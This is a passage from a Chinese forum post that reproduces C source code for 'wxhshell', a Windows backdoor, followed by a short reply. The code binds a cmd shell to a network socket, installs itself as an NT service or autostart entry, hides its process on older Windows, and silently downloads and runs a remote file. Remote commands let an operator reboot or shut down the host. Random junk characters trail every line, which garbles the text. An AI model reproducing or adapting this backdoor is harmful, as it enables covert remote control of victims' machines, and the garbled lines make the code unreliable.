  if(DownloadFile(cmd,wsh)) L]%l51U  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); kmPYx)o  
  else 646JDX[o  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -NJ!g/ >mM  
  } P-`(0M7^  
  else { 9+=gke  
$IQw=w7 p  
    switch(cmd[0]) { % Zjdl  
  <0P5 o|  
  // 帮助 b KtD"JG\  
  case '?': { S \i@s_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); TrS8h^C  
    break; LeOP;#  
  } (Z] HX@"{J  
  // 安装 Kn`M4 O  
  case 'i': { >l']H*&B<  
    if(Install()) 80OtO#1y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p'_%aVm7  
    else +]Zva:$#`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (V:E2WR  
    break; V!_71x\-Q  
    } zP\7S}p7%  
  // 卸载 R%Y`=pK>}  
  case 'r': { GL Mm(  
    if(Uninstall()) avQJPB)}Sb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^x>Qf(b  
    else Z @ dC+0[=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); , t5 '  
    break; $;N*cH~  
    } ,f3pqi9|  
  // 显示 wxhshell 所在路径 j$7|XM6  
  case 'p': { v=@TWEE  
    char svExeFile[MAX_PATH]; V~G`kkNy  
    strcpy(svExeFile,"\n\r"); hj%ye~|~  
      strcat(svExeFile,ExeFile); 9;.(u'y|  
        send(wsh,svExeFile,strlen(svExeFile),0); D\dWt1n  
    break; b;sVls  
    } F,BOgWwP  
  // 重启 'xY@x-o  
  case 'b': { !E8X~DJ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); w'MGA  
    if(Boot(REBOOT)) V" \0Y0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^!<dgBNj  
    else { H,3\0BKk  
    closesocket(wsh); OJ|r6  
    ExitThread(0); :}8Z@H!KkY  
    } ,l YE  
    break; W!Hm~9fz  
    } ^&@w$  
  // 关机 \MC-4Yz  
  case 'd': { EP'h@zdz  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @hQlrq5c  
    if(Boot(SHUTDOWN)) Q/uwQ o/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z;Ez"t&U  
    else { V&8Vw F^-  
    closesocket(wsh); klg25#t  
    ExitThread(0); gxz-R?.  
    } !U9|x\BqJ2  
    break; h,aAw#NE*  
    } ryF7  
  // 获取shell O/AaYA&  
  case 's': { xsd_Uu*  
    CmdShell(wsh); (wDm*bZ*  
    closesocket(wsh); {'?)FX*W  
    ExitThread(0); A1'hlAGF  
    break; {"oxJ`z4  
  } (~CLn;'  
  // 退出 0"2=n.##  
  case 'x': { u H/w\v_I  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y}#h5\  
    CloseIt(wsh); z%MW!x  
    break; *f& EoUk}F  
    } {!6/x9>  
  // 离开 |8mhp.7  
  case 'q': { Ya>oCr}K  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Gj"7s8(/K|  
    closesocket(wsh); t!*+8Q !e  
    WSACleanup(); 1) ta  
    exit(1); BdlVabQyKW  
    break; 7K)6^r^  
        } Ee4&g<X.  
  } ?]D"k4  
  } W;bu2ym&Q  
_^Mx>hb4.  
  // 提示信息  .ObZ\.I  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u6>?AW1~  
} -~?J+o+Pr"  
  } l @^3Exwt  
)* 4fzo  
  return; dJT]/g  
} |D, +P  
@d Jr/6Yx  
// shell模块句柄 nJ~drG}TD  
int CmdShell(SOCKET sock) ;"(foY"L  
{ Wu4Lxv]B4  
STARTUPINFO si; ?5_7;Ha  
ZeroMemory(&si,sizeof(si)); t]7&\ihZi~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4`JH&))}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; iw*Nq,(  
PROCESS_INFORMATION ProcessInfo; *OuStr \o  
char cmdline[]="cmd"; )Ke*JJaq  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); aLIBD'z  
  return 0; 0a-:<zm  
} !9Aaj<yxm  
T&Lb<'f  
// 自身启动模式 ^i:`ZfA#  
int StartFromService(void) (aD_zG=k5  
{ !\&;h  
typedef struct z9aY]lHY  
{ K~@Mg1R  
  DWORD ExitStatus; '1M7M(va  
  DWORD PebBaseAddress; gy&[?m6M=  
  DWORD AffinityMask; W5SJ^,d)J  
  DWORD BasePriority; |V<h=D5W  
  ULONG UniqueProcessId; J_s>N  
  ULONG InheritedFromUniqueProcessId; <.Nx[!'~&d  
}   PROCESS_BASIC_INFORMATION; G:zua`u[  
Me 5_4H&Sg  
PROCNTQSIP NtQueryInformationProcess; &|/| ''A)  
0GJn_@hr  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3B1cb[2y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^^5&QSB:'  
FQ=@mjh  
  HANDLE             hProcess; ]('D^Ro  
  PROCESS_BASIC_INFORMATION pbi; Mbjvh2z  
0v9rv.Y"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); HttiX/2~  
  if(NULL == hInst ) return 0; `w]s;G[  
'` pDngX  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <~ Sz04  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7)s^8+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "~D]E7Q3y  
E9;|'Vy<E  
  if (!NtQueryInformationProcess) return 0; (\SA *.)  
_q~=~nub  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); tKpmm`2  
  if(!hProcess) return 0; 9<KAXr#  
1Tu *79A  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; O%FPS=  
S#+h$UVh  
  CloseHandle(hProcess); *4V=z#  
lV%N  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); hiQha5  
if(hProcess==NULL) return 0; V7/I>^X  
aG^4BpIP  
HMODULE hMod; iezO9`  
char procName[255]; gG/!,Q.Qh  
unsigned long cbNeeded; fMOU$0]$<  
^<e.]F25M  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); rwGKfoKI  
YCP) %}  
  CloseHandle(hProcess); qHxqQ'ks;  
y\ a1iy  
if(strstr(procName,"services")) return 1; // 以服务启动 '0FhL)x?"T  
daYx76yP_?  
  return 0; // 注册表启动 L21VS ,#I  
} )kP5u`v  
'_V2!?+RU+  
// 主模块 t^w"w`v\u  
int StartWxhshell(LPSTR lpCmdLine) ';<0/U  
{ xXM{pd  
  SOCKET wsl; utIX  %0  
BOOL val=TRUE; Nqu>6^-z0  
  int port=0; 5O\*h;U 6  
  struct sockaddr_in door; 3g >B"t  
a[ex[TRKe  
  if(wscfg.ws_autoins) Install(); ,G2TVjz  
2sJ(awN>  
port=atoi(lpCmdLine); o93`|yWl  
0zi~p>*nJC  
if(port<=0) port=wscfg.ws_port; $C `;fA  
>(;{C<6|^  
  WSADATA data; /oriW;OF  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;72T|e  
gXjV?"^kUl  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %HL*c =  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); E160A5BTx  
  door.sin_family = AF_INET; \Cii1\R=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }5hqD BK?  
  door.sin_port = htons(port); (2=Zm@Zp f  
kO}AxeQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?:)]h c  
closesocket(wsl); ?O8ViB?2  
return 1; 9M:O0)s  
} h-%R<[  
nX=$EQiH  
  if(listen(wsl,2) == INVALID_SOCKET) { f`[R7Q5  
closesocket(wsl); BG<qIQd  
return 1; '#&os`mQ  
} T3^GCX|!@  
  Wxhshell(wsl); ^_f+15]D  
  WSACleanup(); + ~>Aj  
*FMMjz  
return 0; |6$p;Aar  
0:T|S>FsAm  
} }nL7T'$>  
07[_.i.l  
// 以NT服务方式启动 @w?P7P<O`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) PF53mUs4  
{ =W"F[fD  
DWORD   status = 0; +1D+]*t_?[  
  DWORD   specificError = 0xfffffff; 3nhXZOO1  
HBMhtfWW  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \Rp-;.I@6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *cgI.+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?W)A   
  serviceStatus.dwWin32ExitCode     = 0; vMm1Z5S/  
  serviceStatus.dwServiceSpecificExitCode = 0; lGOgN!?i  
  serviceStatus.dwCheckPoint       = 0; Vb= Mg  
  serviceStatus.dwWaitHint       = 0; Wh.?j>vB  
RR]CW  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); tfGHea)M  
  if (hServiceStatusHandle==0) return; !s&NT @ S  
yI"6Da6|y  
status = GetLastError(); !Y[lQXv  
  if (status!=NO_ERROR) XR;eY:89  
{ eb=D/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1 =M ?GDc  
    serviceStatus.dwCheckPoint       = 0; 7BJzM lJ1Y  
    serviceStatus.dwWaitHint       = 0; Ac<Phy-J  
    serviceStatus.dwWin32ExitCode     = status; tQBRA/  
    serviceStatus.dwServiceSpecificExitCode = specificError; , T8>}U(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6e[VgN-s  
    return; {\:{[{qF  
  } D>LZP!  
;<(W% _  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; sk=-M8;\  
  serviceStatus.dwCheckPoint       = 0; \Z+z?K O  
  serviceStatus.dwWaitHint       = 0; #3+!ee27#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); TL}++e 7+  
} %y@Hh=  
p{j.KI s7  
// 处理NT服务事件,比如:启动、停止 [m|YWT=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~4 `5tb  
{ U15H@h  
switch(fdwControl) j'HZ\_  
{ Bq$rf < W  
case SERVICE_CONTROL_STOP: t({W [JL  
  serviceStatus.dwWin32ExitCode = 0; Z7=`VNHc  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `.i!NBA'6  
  serviceStatus.dwCheckPoint   = 0; .p e(lP  
  serviceStatus.dwWaitHint     = 0; R wZ]),o  
  { .%L?J E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lc~%=  
  } +Zaj,oEE  
  return; `1bv@yzq  
case SERVICE_CONTROL_PAUSE: !Rhl f.x  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,}K7Dg^1  
  break; >kW@~WDMu  
case SERVICE_CONTROL_CONTINUE: oz}+T(@O  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; U G~ba  
  break; +,#$:fs u  
case SERVICE_CONTROL_INTERROGATE: TzNn^ir=HX  
  break; $3s@}vLd  
}; '*"vkgN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NnT1X;0W  
} =*r]) Vg^  
CnG+Mc^  
// 标准应用程序主函数 3_MS.iM  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d~1 gMz+)  
{ yFtd=AI'E  
@Bf%s(Uj+  
// 获取操作系统版本 `Ch9~*p  
OsIsNt=GetOsVer(); Q+W1lv8R  
GetModuleFileName(NULL,ExeFile,MAX_PATH); LC'{p  
q)^Jj ?W  
  // 从命令行安装 A m>cd;  
  if(strpbrk(lpCmdLine,"iI")) Install(); Fd[zDz  
jhb6T ?}  
  // 下载执行文件 3%(N[&LU  
if(wscfg.ws_downexe) { $ >u*} X9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {z")7g ]l  
  WinExec(wscfg.ws_filenam,SW_HIDE); -bSSP!f  
} 2kIa*#VOJ  
7Z-O_h3;)@  
if(!OsIsNt) { Vv.|br`;}  
// 如果时win9x,隐藏进程并且设置为注册表启动 2C9V|[U,  
HideProc(); br":y>=,  
StartWxhshell(lpCmdLine); {;:/-0s  
} IHcD*zQ  
else xT+zU}z  
  if(StartFromService()) B#.L  
  // 以服务方式启动 b"#WxgaF  
  StartServiceCtrlDispatcher(DispatchTable); !g(KK|`,m  
else QT>`^/]d  
  // 普通方式启动 U8LtG/  
  StartWxhshell(lpCmdLine); \kU &^Hi  
s#)5h0t#du  
return 0; ^]W<X"H+Z  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八